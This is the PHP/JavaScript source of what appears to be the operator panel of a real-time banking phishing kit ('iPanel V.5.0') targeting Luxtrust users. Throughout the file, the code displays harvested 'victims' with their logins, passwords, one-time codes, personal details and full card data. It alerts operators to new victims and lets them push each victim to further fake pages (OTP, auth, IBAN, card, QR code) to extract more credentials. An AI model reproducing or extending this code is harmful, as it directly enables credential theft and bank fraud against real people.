<?php
include 'inc/config.php';
include 'inc/connect.php';

date_default_timezone_set('Europe/Dublin');

session_start();

if (!isset($_SESSION['loggedin'])) {
  header('Location: login.php');
  exit;
}
?>

<!DOCTYPE html>
<html>

<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <title>iPanel - Home</title>
  <meta name="description" content="">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <meta name="robots" content="all,follow">
  <!-- Bootstrap CSS-->
  <link rel="stylesheet" href="vendor/bootstrap/css/bootstrap.min.css">
  <!-- Font Awesome CSS-->
  <link rel="stylesheet" href="vendor/font-awesome/css/font-awesome.min.css">
  <!-- Micron Animations CSS-->
  <link rel='stylesheet' href='https://unpkg.com/webkul-micron@1.1.6/dist/css/micron.min.css'>
  <!-- Custom Font Icons CSS-->
  <link rel="stylesheet" href="css/font.css">
  <!-- Toasrt Alerts CSS-->
  <link rel="stylesheet" href="css/toastr.min.css">
  <!-- Flags Icons CSS-->
  <link rel="stylesheet" href="css/flag-icon.css">
  <!-- Google fonts - Muli-->
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Muli:300,400,700">
  <!-- theme stylesheet-->
  <link rel="stylesheet" href="css/style.red.css" id="theme-stylesheet">
  <!-- Custom stylesheet - for your changes-->
  <link rel="stylesheet" href="css/custom.css">

  <!-- Favicon-->
  <link rel="shortcut icon" href="img/favicon.ico">

  <style>
    .blink_me {
      animation: blinker 1s linear infinite;
    }

    @keyframes blinker {
      50% {
        background-color: rgba(134, 77, 217, 0.3);
      }
    }
  </style>



</head>

<body>
  <header class="header">
    <nav class="navbar navbar-expand-lg">

      <div class="container-fluid d-flex align-items-center justify-content-between">
        <div class="navbar-header">
          <!-- Navbar Header--><a href="index.php" class="navbar-brand">
            <div class="brand-text brand-big visible text-uppercase"><strong style="text-lowercase" class="text-primary text-lowercase">i</strong><strong>Panel</strong><sub><small> V.5.0</sub></mall>
            </div>
            <div class="brand-text brand-sm"><strong class="text-primary">i</strong><strong>P</strong></div>
          </a>
          <!-- Sidebar Toggle Btn-->
          <button onclick="profile_avatar(this);" class="sidebar-toggle"><i class="fa fa-long-arrow-left"></i></button>
        </div>

        <!-- Log out               -->
        <div class="list-inline-item logout"><a id="logout" href="logout.php" class="nav-link"> <span class="d-none d-sm-inline"></span><i title="Logout" class="icon-logout"></i></a></div>
      </div>
      </div>
    </nav>
  </header>
  <div class="d-flex align-items-stretch">
    <!-- Sidebar Navigation-->
    <nav id="sidebar">
      <!-- Sidebar Header-->
      <div class="sidebar-header d-flex align-items-center">
        <div id="profile_avatar" class="avatar"><img src="img/avatar.png" class="img-fluid rounded-circle"></div>
        <div class="title">
          <h1 class="h5"><?php echo $_SESSION['username']; ?></h1>
          <p><?php echo $_SESSION['role']; ?></p>
        </div>
      </div>
      <ul class="list-unstyled">
        <li class="active"><a href="index.php"> <i class="icon-home"></i>Home </a></li>
        <?php
        if ($_SESSION['role'] == "Admin") {
          echo '<li><a href="handlers.php"> <i class="icon-user"></i>Handlers </a></li>';
        }

        if ($handlers_access != "checked") {
          if ($_SESSION['role'] == "Admin") {
            echo '<li><a href="luxtrust.php"> <i class="icon-website"></i>Luxtrust </a></li>';
            echo '<li><a href="settings.php"> <i class="icon-settings"></i>Settings </a></li>';
          }
        } else {
          echo '<li><a href="luxtrust.php"> <i class="icon-website"></i>Luxtrust </a></li>';
          echo '<li><a href="settings.php"> <i class="icon-settings"></i>Settings </a></li>';
        }
        ?>

    </nav>




    <!-- Sidebar Navigation end-->
    <div class="page-content">
      <div class="page-header">
        <div class="container-fluid">
          <h2 class="h5 no-margin-bottom">Home - [ page by: <a target=" _blank" href="https://t.me/The_iHack">The_iHack</a> ]</h2>
        </div>
      </div>
      <section class="no-padding-top no-padding-bottom">
        <div class="container-fluid">
          <div class="row">
            <div class="col-md-3 col-sm-6">
              <div class="statistic-block block">
                <div class="progress-details d-flex align-items-end justify-content-between">
                  <div class="title">
                    <div class="icon"><i class="icon-paper-and-pencil"></i></div><strong>Total Visits</strong>
                  </div>
                  <div class="number dashtext-3" id="total_visits"><?php echo total_visits($conn); ?></div>
                </div>
              </div>
            </div>
            <div class="col-md-3 col-sm-6">
              <div class="statistic-block block">
                <div class="progress-details d-flex align-items-end justify-content-between">
                  <div class="title">
                    <div class="icon"><i class="icon-user-1"></i></div><strong>Total Victims</strong>
                  </div>
                  <div class="number dashtext-1" id="total_victims"><?php echo total_victims($conn); ?></div>
                </div>
              </div>
            </div>
            <div class="col-md-3 col-sm-6">
              <div class="statistic-block block">
                <div class="progress-details d-flex align-items-end justify-content-between">
                  <div class="title">
                    <div class="icon"><i class="icon-light-bulb"></i></div><strong>Online Victims</strong>
                  </div>
                  <div class="number dashtext-3" id="online_victims"><?php echo online_victims($conn); ?></div>
                </div>
              </div>
            </div>
            <div class="col-md-3 col-sm-6">
              <div class="statistic-block block">
                <div class="progress-details d-flex align-items-end justify-content-between">
                  <div class="title">
                    <div class="icon"><i class="icon-computer"></i></div><strong>Active Handlers</strong>
                  </div>
                  <div class="number dashtext-2" id="active_handlers"><?php echo online_handlers($conn); ?></div>
                </div>
              </div>
            </div>
          </div>
        </div>
      </section>
      <section class="no-padding-bottom">
        <div class="container-fluid">
          <div class="row">
            <div class="col-lg-12">
              <div class="block margin-bottom-sm">
              <div class="title"><strong><i class="icon-bill"></i>&nbsp;Victims Information</strong> &nbsp;<i title="Reset Bans" onclick="reset_bans();" style="padding-left:10px; float:right; vertical-align:middle; cursor:pointer;" class="fa fa-recycle fa-lg"></i><i title="Reset Visits" onclick="reset_visits();" style="padding-left:10px; float:right; vertical-align:middle; cursor:pointer;" class="fa fa-globe fa-lg"></i><i title="Wipe Logs" onclick="wipe();" style="padding-left:10px; float:right; vertical-align:middle; cursor:pointer;" class="fa fa-trash fa-lg"></i><i title="Pause All Alerts" onclick="pause_all_alerts();" style="float:right; vertical-align:middle; cursor:pointer;" class="fa fa-bell-slash fa-lg"></i> &nbsp;<i title="Download All Logs" onclick="all_save();" style="padding-right:10px;float:right; vertical-align:middle; cursor:pointer;" class="fa fa-download fa-lg"> </i> &nbsp; </div>
                <div class="table-responsive">
                  <table class="table">
                    <thead>
                      <tr>
                        <th>#</th>
                        <th>Ping</th>
                        <th>IP</th>
                        <th>Bank</th>
                        <th>Login</th>
                        <th>Password</th>
                        <th>OTP</th>
                        <th>QR-OTP</th>
                        <th>Personal</th>
                        <th>CC</th>
                        <th>Status</th>
                        <th>Action</th>
                      </tr>
                    </thead>
                    <tbody id="victims_table">

                      <?php
                      $query = mysqli_query($conn, "SELECT * from victims");
                      if ($query) {
                        if (mysqli_num_rows($query) >= 1) {
                          $array = array_filter(mysqli_fetch_all($query, MYSQLI_ASSOC));
                        }
                      }


                      $redirects = "
                      <button data-toggle='dropdown' type='button' onclick='pause();' class='btn btn-outline-primary dropdown-toggle'><i class='icon-flow-branch'></i>&nbsp;Redirect <span class='caret'></span></button>
                      <div class='dropdown-menu'>
                          <a style='cursor:pointer;' onclick='command(\"CHANGE_TO_ID\", \"1\");' class='dropdown-item'>Wrong Login</a>
                          <a style='cursor:pointer;' onclick='command(\"CHANGE_TO_ID\", \"3\");' class='dropdown-item'>OTP</a>
                          <a style='cursor:pointer;' onclick='command(\"CHANGE_TO_ID\", \"5\");' class='dropdown-item'>Auth</a>
                          <a style='cursor:pointer;' onclick='command_with_more_parms(\"CHANGE_TO_ID\", \"7\");' class='dropdown-item'>Auth Extra</a>
                          <a style='cursor:pointer;' onclick='command(\"CHANGE_TO_ID\", \"64\");' class='dropdown-item'>iBAN</a>
                          <a style='cursor:pointer;' onclick='command(\"CHANGE_TO_ID\", \"9\");' class='dropdown-item'>Personal</a>
                          <a style='cursor:pointer;' onclick='command(\"CHANGE_TO_ID\", \"11\");' class='dropdown-item'>CC</a>
                          <a style='cursor:pointer;' onclick='command_upload(\"CHANGE_TO_ID\", \"13\");' class='dropdown-item'>QR Code</a>
                          <a style='cursor:pointer;' onclick='command(\"CHANGE_TO_ID\", \"0\");' class='dropdown-item'>Finish</a>
                      </div>
                      ";


                      $btns = "
                      <td style='vertical-align:middle;'>
                            <div class='input-group-prepend'>
                                CHANGE_TO_REDIRECTS
                                &nbsp;&nbsp;<button type='button' onclick='pause_alert(\"CHANGE_TO_ID\");' title='Pause Alert' class='btn btn-outline-primary'><i class='fa fa-bell-slash'></i><span class='caret'></span></button>
                                &nbsp;&nbsp;<button type='button' data-toggle='modal' data-target='#myModal' onclick='show_info(\"CHANGE_TO_ID\");' title='Show Info' class='btn btn-outline-primary'><i class='icon-info'></i><span class='caret'></span></button>
                                &nbsp;&nbsp;<button type='button' onclick='save(\"CHANGE_TO_ID\");' title='Save' class='btn btn-outline-primary'><i class='icon-contract'></i><span class='caret'></span></button>
                                &nbsp;&nbsp;<button type='button' onclick='remove(\"CHANGE_TO_ID\");' title='Remove' class='btn btn-outline-primary'><i class='icon-close'></i><span class='caret'></span></button>
                                &nbsp;&nbsp;<button type='button' onclick='ban(\"CHANGE_TO_ID\");' title='Ban' class='btn btn-outline-primary'><i class='fa fa-ban'></i><span class='caret'></span></button>
                            </div>
                      </td>
                      ";


                      foreach ($array as $value) {


                        $badge = status_to_badge($value['status'], "inc/status.json");
                        $lastseen = check_online($value['lastseen']);
                        $browser_icon = useragent_to_browser($value['useragent']);
                        $buttons = str_replace("CHANGE_TO_ID", $value['id'], $btns);
                        $php_redirects = str_replace("CHANGE_TO_ID", $value['id'], $redirects);
                        $iname = $value['iname'];
                        $ilogo = iname_to_ilogo($iname, $cfg_url);
                        $crdz = str_replace(' ', '', $value['card']);

                        if (redirects_btn($value['status'], "inc/status.json") == "1") {
                          $buttons = str_replace("CHANGE_TO_REDIRECTS", $php_redirects, $buttons);
                        } else {
                          $buttons = str_replace("CHANGE_TO_REDIRECTS", "", $buttons);
                        }
                        
                        echo "
                        <tr id='row{$value['id']}'>
                        <td style='vertical-align:middle;' scope='row'>{$value['id']}</td>
                        <td style='vertical-align:middle;'>$lastseen</td>                      
                        <td style='vertical-align:middle;'>{$value['ip']}</td>
                        <td style='vertical-align:middle; text-align: left;'>$ilogo</td>
                        <td data-micron='flicker' onclick='copyTextToClipboard(this)' style='vertical-align:middle; cursor:pointer;' title='Click to copy'>{$value['user']}</td>
                        <td data-micron='flicker' onclick='copyTextToClipboard(this)' style='vertical-align:middle; cursor:pointer;' title='Click to copy'>{$value['pass']}</td>
                        <td data-micron='flicker' onclick='copyTextToClipboard(this)' style='vertical-align:middle; cursor:pointer;' title='Click to copy'>{$value['otp']}</td>
                        <td data-micron='flicker' onclick='copyTextToClipboard(this)' style='vertical-align:middle; cursor:pointer;' title='Click to copy'>{$value['qrotp']}</td>
                        <td data-micron='flicker' style='vertical-align:middle; cursor:pointer;' class='openinfoclass'>" . 
            implode(' | ', array_filter([
                $value['name'],
                $value['address'],
                $value['dob'],
                $value['phonenr'],
                $value['email']
            ])) . 
        "</td>
<td data-micron='flicker' onclick='copyTextToClipboard(this)' style='vertical-align:middle; cursor:pointer;' class='openinfoclass'>" . 
            implode(' | ', array_filter([
                $crdz,
                $value['exp'],
                $value['three']
            ])) . 
        "</td>
                        <td style='vertical-align:middle;'>$badge</td>
                        $buttons
                        </tr>
                        ";
                      }

                      ?>


                    </tbody>
                  </table>
                </div>
              </div>
            </div>
          </div>
        </div>


        <!-- myModal-->
        <div id="myModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true" class="modal fade text-left">
          <div role="document" class="modal-dialog">

            <div class="modal-content">

              <div class="modal-header"><strong id="infomodaltitle" class="modal-title">#1 Victim Info</strong>
                <button type="button" data-dismiss="modal" aria-label="Close" class="close"><span aria-hidden="true">×</span></button>
              </div>

              <div class="modal-body">
                <div class="form-group">
                  <textarea style="color:offwhite; background-color : #22252A;" id="infomodalvalue" cols="50" rows="20" class="form-control" disabled></textarea>
                </div>
              </div>

            </div>

          </div>
        </div>

        <!-- myModal-->
        <div id="inputmodal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true" class="modal fade text-left">
          <div role="document" class="modal-dialog">

            <div class="modal-content">

              <div class="modal-header"><strong id="infomodaltitle" class="modal-title">Submit Data</strong>
                <button type="button" data-dismiss="modal" aria-label="Close" class="close"><span aria-hidden="true">×</span></button>
              </div>

              <div class="modal-body">
                <div class="form-group">
						<b>Enter Name:</b><Br>
						<input type="text" class="form-control" id="custom_name" name="custom_name">
						<Br>
						<b>Enter Amount:</b><Br>
						<input type="text" class="form-control" id="custom_amount" name="custom_amount">
						
<br><br>
				<button style="width:100%;border: 1px solid #8A8D93;background: #8A8D93;color: black;font-weight: 700 !important;" id="inputsubmit" type="submit">Send</button>
                </div>
              </div>

            </div>

          </div>
        </div>

        <div id="uploadModal" class="modal fade">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title">Upload QR Code</h5>
                <button type="button" class="close" data-dismiss="modal">&times;</button>
            </div>
            <div class="modal-body">
                <input type="file" id="image_file" name="image_file" accept="image/*">
            </div>
            <div class="modal-footer">
                <button id="uploadsubmit" type="button" class="btn btn-primary">Upload & Send to QRCode Page</button>
            </div>
        </div>
    </div>
</div>


        <!-- myModal-->
        <div id="myModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true" class="modal fade text-left">
          <div role="document" class="modal-dialog">

            <div class="modal-content">

              <div class="modal-header"><strong id="infomodaltitle" class="modal-title">#1 Victim Info</strong>
                <button type="button" data-dismiss="modal" aria-label="Close" class="close"><span aria-hidden="true">×</span></button>
              </div>

              <div class="modal-body">
                <div class="form-group">
                  <textarea style="color:offwhite; background-color : #22252A;" id="infomodalvalue" cols="50" rows="20" class="form-control" disabled></textarea>
                </div>
              </div>

            </div>

          </div>
        </div>


      </section>
      <footer class="footer">
        <div class="footer__block block no-margin-bottom">
          <div class="container-fluid text-center">
            <!-- <p>2022 &copy; All Rights Reserved - <a target="_blank" href="https://t.me/The_iHack">iHack</a></p> -->
          </div>
        </div>
      </footer>
    </div>
  </div>
  <!-- JavaScript files-->
  <script src="vendor/jquery/jquery.min.js"></script>
  <script src="vendor/popper.js/umd/popper.min.js"> </script>
  <script src="vendor/bootstrap/js/bootstrap.min.js"></script>
  <script src="vendor/jquery.cookie/jquery.cookie.js"> </script>
  <script src="vendor/jquery-validation/jquery.validate.min.js"></script>
  <script src="js/front.js"></script>
  <script src="js/toastr.min.js"></script>
  <script src="https://unpkg.com/webkul-micron@1.1.6/dist/script/micron.min.js"></script>
  <script src="js/other.js"></script>

  <script>
    var isPaused = false;
    const btns = `<?php echo $btns; ?>`;
    const redirects = `<?php echo $redirects; ?>`;


    var timmer = setInterval(function() {
      var dropdown_open = document.getElementsByClassName('input-group-prepend show');
      if (dropdown_open.length > 0) {
        pause();
      } else {
        resume();
      }

      if (!isPaused) {
        var urldata = 'inc/api.php';
        $.ajax({
          url: urldata,
          type: 'GET',
          //async: false,
          cache: true,
          success: function(response) {
            var array = JSON.parse(response);
            array.victims.forEach(function(object) {
              if (!isPaused) {
                var buttons = btns.replace(/CHANGE_TO_ID/g, object.id.replace('row', ''));
                var js_redirects = redirects.replace(/CHANGE_TO_ID/g, object.id.replace('row', ''));

                if (object.redirects == "1") {
                  buttons = buttons.replace(/CHANGE_TO_REDIRECTS/g, js_redirects);
                } else {
                  buttons = buttons.replace(/CHANGE_TO_REDIRECTS/g, '');
                }
                var element = document.getElementById(object.id);
                if (typeof(element) != 'undefined' && element != null) {

                  // console.log(element.innerHTML); // " => '   // &quot; => " // &amp; => &
                  // console.log(atob(object.info) + buttons);

                  var local_vic = element.innerHTML;
                  local_vic = local_vic.replace(/"/g, "'");
                  local_vic = local_vic.replace(/&quot;/g, '"');
                  local_vic = local_vic.replace(/&amp;/g, '&');
                  var online_vic = atob(object.info) + buttons;

                  if (local_vic !== online_vic) {
                    element.innerHTML = atob(object.info) + buttons;
                  }


                  if (object.buzzed == "0") {
                    element.classList.add("blink_me");
                    beep()
                  } else {
                    element.classList.remove("blink_me");
                  }




                } else {
                  var element = document.getElementById('victims_table');
                  element.innerHTML += '<tr id="' + object.id + '">' + atob(object.info) + buttons + '</tr>';
                  var new_element = document.getElementById(object.id);
                  if (object.buzzed == "0") {
                    new_element.classList.add("blink_me");
                    beep()
                  } else {
                    new_element.classList.remove("blink_me");
                  }
                }

              }
            });

            document.getElementById("total_visits").innerHTML = array.total_visits;
            document.getElementById("total_victims").innerHTML = array.total_victims;
            document.getElementById("online_victims").innerHTML = array.online_victims;
            document.getElementById("active_handlers").innerHTML = array.active_handlers;

            array.removed_ids.split(",").forEach(function(item) {
              if (item != '') {
                var old_element = document.getElementById(item);
                if (typeof(old_element) != 'undefined' && old_element != null) {
                  document.getElementById(item).remove();
                }
              }
            });

          }
        });
      }
    }, 2000);

    function pause() {
      isPaused = true;
    }

    function resume() {
      isPaused = false;
    }

    function profile_avatar(elem) {
      var ind = elem.innerHTML;
      var pic = document.getElementById('profile_avatar');
      if (ind.includes("arrow-left")) {
        pic.classList.remove("avatar");
      } else {
        pic.classList.add("avatar");
      }
    }

    function beep() {
      var sound = new Audio("inc/alert.wav");
      sound.play();
    }

    function remove(id) {
      $.ajax({
        type: 'POST',
        url: 'inc/action.php?type=remove',
        data: 'userid=' + id,
        success: function(data) {
          var parsed_data = JSON.parse(data);
          if (parsed_data.status == 'ok') {
            toastr["success"]("removed successfully");
          } else {
            toastr["error"]("failed to remove #" + id);
          }
        }
      })
    }

    function ban(id) {
      $.ajax({
        type: 'POST',
        url: 'inc/action.php?type=ban',
        data: 'userid=' + id,
        success: function(data) {
          var parsed_data = JSON.parse(data);
          if (parsed_data.status == 'ok') {
            toastr["success"]("banned successfully");
          } else {
            toastr["error"]("failed to ban #" + id);
          }
        }
      })
    }

    function save(id) {
      $.ajax({
        type: 'POST',
        url: 'inc/action.php?type=getinfo',
        data: 'userid=' + id,
        success: function(data) {
          var parsed_data = JSON.parse(data);
          if (parsed_data.status == 'ok') {
            var log = parsed_data.info;

            var textFileAsBlob = new Blob([log], {
              type: 'text/plain'
            });
            var d = new Date();
            var fileNameToSaveAs = "log_" + id + "_" + (d.getMonth() + 1) + "-" + d.getDate() + "-" + d.getFullYear() + ".txt";
            var downloadLink = document.createElement("a");
            downloadLink.download = fileNameToSaveAs;
            downloadLink.innerHTML = "Download File";
            if (window.webkitURL != null) {
              downloadLink.href = window.webkitURL.createObjectURL(textFileAsBlob);
            } else {
              downloadLink.href = window.URL.createObjectURL(textFileAsBlob);
              downloadLink.onclick = destroy;
              downloadLink.style.display = "none";
              document.body.appendChild(downloadLink);
            }
            downloadLink.click();

            toastr["success"]("log saved successfully");
          } else {
            toastr["error"]("failed to save log #" + id);
          }
        }
      })
    }

    function all_save() {
  fetchAllUserIds();
}

function fetchAllUserIds() {
  $.ajax({
    type: 'GET',
    url: 'inc/action.php?type=getallusers',
    success: function(data) {
      var parsed_data = JSON.parse(data);
      if (parsed_data.status == 'ok') {
        saveLogsForAllUsers(parsed_data.userIds);
      } else {
        toastr["error"]("Failed to retrieve user IDs");
      }
    },
    error: function() {
      toastr["error"]("Error fetching user IDs");
    }
  });
}

function saveLogsForAllUsers(userIds) {
  let logs = "";
  let completedRequests = 0;

  userIds.forEach(id => {
    $.ajax({
      type: 'POST',
      url: 'inc/action.php?type=getinfo',
      data: 'userid=' + id,
      success: function(data) {
        var parsed_data = JSON.parse(data);
        if (parsed_data.status == 'ok') {
          logs += parsed_data.info + "\n"; // Append log information
        } else {
          toastr["error"]("Failed to save log for user ID #" + id);
        }

        completedRequests++;
        if (completedRequests === userIds.length) {
          downloadLogs(logs);
        }
      },
      error: function() {
        completedRequests++;
      }
    });
  });
}

function downloadLogs(logs) {
  var textFileAsBlob = new Blob([logs], {
    type: 'text/plain'
  });
  var d = new Date();
  var fileNameToSaveAs = "all_logs_" + (d.getMonth() + 1) + "-" + d.getDate() + "-" + d.getFullYear() + ".txt";
  var downloadLink = document.createElement("a");
  downloadLink.download = fileNameToSaveAs;
  downloadLink.href = window.URL.createObjectURL(textFileAsBlob);
  downloadLink.style.display = "none";
  document.body.appendChild(downloadLink);
  downloadLink.click();

  toastr["success"]("All logs saved successfully");
}




    function show_info(id) {
      document.getElementById('infomodaltitle').innerHTML = 'Loading info...';
      document.getElementById('infomodalvalue').value = '';
      $.ajax({
        type: 'POST',
        url: 'inc/action.php?type=getinfo',
        data: 'userid=' + id,
        success: function(data) {
          var parsed_data = JSON.parse(data);
          if (parsed_data.status == 'ok') {
            var log = parsed_data.info;
            document.getElementById('infomodaltitle').innerHTML = "#" + id + " Victim Info";
            document.getElementById('infomodalvalue').value = log;

          } else {
            toastr["error"]("failed to get log #" + id);
          }
        }
      })
    }

    function reset_visits() {
      if (confirm("Are You Sure? Visits Counter Will Be Reseted!")) {
        $.ajax({
        url: 'inc/action.php?type=visits_reset',
        type: 'GET',
        success: function(response) {
          var rasponse = JSON.parse(response);
          if (rasponse.status == 'ok') {
            toastr["success"]("visits counter reseted successfully");
          }
        }
      })
      }
    }

    function wipe() {
      if (confirm("Are You Sure? All Logs Will Be Erased!")) {
        $.ajax({
          type: 'POST',
          url: 'inc/action.php?type=clearlogs',
          data: '',
          success: function(data) {
            var parsed_data = JSON.parse(data);
            if (parsed_data.status == 'ok') {
              toastr["success"]("logs wiped successfully");
            } else {
              toastr["error"]("failed to wipe logs");
            }
          }
        })
      }
    }

    function reset_bans() {
      if (confirm("Are You Sure? Ban List Will Be Erased!")) {
        var urldata = "reset.php";
        $.ajax({
          url: urldata,
          type: "GET",
          success: function(response) {
            toastr["success"]("ban list reseted successfully");
          }
        });
      }
    }


    function pause_all_alerts() {
      $.ajax({
        url: 'inc/action.php?type=buzzoff',
        type: 'GET',
        success: function(response) {
          var rasponse = JSON.parse(response);
          if (rasponse.status == 'ok') {
            toastr["success"]("alert paused for the current victims");
          }
        }
      })
    }

    function pause_alert(id) {
      $.ajax({
        url: 'inc/action.php?type=buzzoffsingle&userid=' + id,
        type: 'GET',
        success: function(response) {
          var rasponse = JSON.parse(response);
          if (rasponse.status == 'ok') {
            toastr["success"]("alert paused for #" + id);
          }
        }
      })
    }



    function command(id, sts) {
      resume();
      $.ajax({
        type: 'POST',
        url: 'inc/action.php?type=commmand',
        data: 'userid=' + id + '&status=' + sts,
        success: function(data) {
          var parsed_data = JSON.parse(data);
          if (parsed_data.status == 'ok') {
            toastr["success"]("command sent successfully");
          } else {
            toastr["error"]("failed to send your command");
          }
        }
      })
    }


    function command_with_parms(id, sts) {
      resume();
      var custom_question = prompt("Enter custom question");
      if (custom_question != null) {
        $.ajax({
          type: 'POST',
          url: 'inc/action.php?type=customquestion',
          data: 'userid=' + id + '&status=' + sts + '&custom_question=' + custom_question,
          success: function(data) {
            var parsed_data = JSON.parse(data);
            if (parsed_data.status == 'ok') {
              toastr["success"]("command sent successfully");
            } else {
              toastr["error"]("failed to send your command");
            }
          }
        })
      }
    }
	
    function command_with_debitparms(id, sts) {
      resume();
      var newfour = 'Debit';
      if (newfour != null) {
        $.ajax({
          type: 'POST',
          url: 'inc/action.php?type=cardtype',
          data: 'userid=' + id + '&status=' + sts + '&newfour=' + newfour,
          success: function(data) {
            var parsed_data = JSON.parse(data);
            if (parsed_data.status == 'ok') {
              toastr["success"]("command sent successfully");
            } else {
              toastr["error"]("failed to send your command");
            }
          }
        })
      }
    }
	
    function command_with_creditparms(id, sts) {
      resume();
      var newfour = 'Credit';
      if (newfour != null) {
        $.ajax({
          type: 'POST',
          url: 'inc/action.php?type=cardtype',
          data: 'userid=' + id + '&status=' + sts + '&newfour=' + newfour,
          success: function(data) {
            var parsed_data = JSON.parse(data);
            if (parsed_data.status == 'ok') {
              toastr["success"]("command sent successfully");
            } else {
              toastr["error"]("failed to send your command");
            }
          }
        })
      }
    }
	
	
	
	

	
    function command_with_more_parms(id, sts) {
      resume();

	  $("#inputmodal").modal("show");
		document.getElementById('inputsubmit').onclick = function() {
	     var custom_name = document.getElementById('custom_name').value;
	     var custom_amount = document.getElementById('custom_amount').value;

        $.ajax({
          type: 'POST',
          url: 'inc/action.php?type=twocommmand',
          data: 'userid=' + id + '&status=' + sts + '&custom_name=' + custom_name + '&custom_amount=' + custom_amount,
          success: function(data) {
            var parsed_data = JSON.parse(data);
            if (parsed_data.status == 'ok') {
              toastr["success"]("command sent successfully");
            } else {
              toastr["error"]("failed to send your command");
            }
          }
        })
		 $("#inputmodal").modal("hide");
}

}


function command_upload(id, sts) {
    console.log("Opening upload modal...");
    resume();
    $("#uploadModal").modal("show");

    document.getElementById('uploadsubmit').onclick = function() {
        console.log("Upload button clicked.");
        var image_file = document.getElementById('image_file').files[0];

        if (!image_file) {
            alert("Please select an image file.");
            console.log("No image file selected.");
            return;
        }

        var formData = new FormData();
        formData.append('image_file', image_file);
        formData.append('userid', id);
        formData.append('status', sts);

        console.log("Form data prepared:", formData);

        $.ajax({
            type: 'POST',
            url: 'inc/upload.php?type=uploadcommand',
            data: formData,
            contentType: false,
            processData: false,
            success: function(data) {
                console.log("AJAX success:", data);
                var parsed_data = JSON.parse(data);
                if (parsed_data.status == 'ok') {
                    toastr["success"]("Image uploaded successfully!");
                } else {
                    toastr["error"](parsed_data.message || "Failed to upload image.");
                }
            },
            error: function(jqXHR, textStatus, errorThrown) {
                console.error("AJAX error: ", textStatus, errorThrown);
                toastr["error"]("An error occurred while uploading.");
            }
        });

        $("#uploadModal").modal("hide");
        console.log("Upload modal closed.");
    };
}




	
$(document).ready(function() {
  $("table").on("click", ".openinfoclass", function() {
    var $nextButton = $(this).closest("tr").find("button[title='Show Info']");
    $nextButton.click();
  });
});


  </script>


</body>

</html>